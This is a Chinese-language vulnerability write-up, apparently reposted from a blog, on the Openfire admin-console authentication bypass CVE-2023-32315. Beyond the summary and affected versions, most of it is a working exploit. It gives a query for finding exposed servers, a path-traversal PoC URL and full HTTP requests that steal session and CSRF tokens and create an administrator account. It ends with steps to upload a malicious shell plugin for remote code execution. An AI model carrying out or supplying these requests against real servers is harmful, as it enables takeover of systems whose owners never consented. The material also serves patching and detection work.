登录 白背景

Openfire身份认证绕过漏洞&getshell(CVE-2023-32315)

一、漏洞简介

  Openfire是免费的、开源的、基于可拓展通讯和表示协议(XMPP)、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。Openfire的管理控制台是一个基于 Web 的应用程序,被发现可以使用路径遍历的方式绕过权限校验。成功利用后,未经身份验证的用户可以访问 Openfire 管理控制台中的后台页面。同时由于Openfire管理控制台的后台提供了安装插件的功能,所以攻击者可以通过安装恶意插件达成远程代码执行的效果。   

二、影响版本

  • 3.10.0 <= Openfire < 4.6.8
  • 4.7.0 <= Openfire 4.7.x < 4.7.5

三、资产测绘

  • hunterapp.name="Openfire"image.png
  • 登录页面

image.png

四、漏洞复现

POC

当访问poc出现如下情况表示存在漏洞

/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

image.png
EXP

  1. 获取JSESSIONIDcsrftoken
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-groups.jsp HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

image.png

  1. 通过上一步回去到的JSESSIONIDcsrftoken替换下列数据包中相应参数,构造用户
GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=qvq9l8fyflxMuwP&username=test123&name=&email=&password=test123&passwordConfirm=test123&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=node0m00xukgw3om052y56u7ppl451582.node0; csrf=qvq9l8fyflxMuwP
Upgrade-Insecure-Requests: 1

image.png

  1. 使用创建的账户test123/test123,登录

image.png

  1. 在插件处上传利用插件getsgell

插件下载地址:https://download.csdn.net/download/qq_33331244/88224220
image.png

  1. 插件上传成功

image.png

  1. 进入服务器->服务器设置->shellplugin,输入密码123,即可实现rce

image.png
image.png

原文: https://www.yuque.com/xiaokp7/ocvun2/xq7trzegk6ecseyg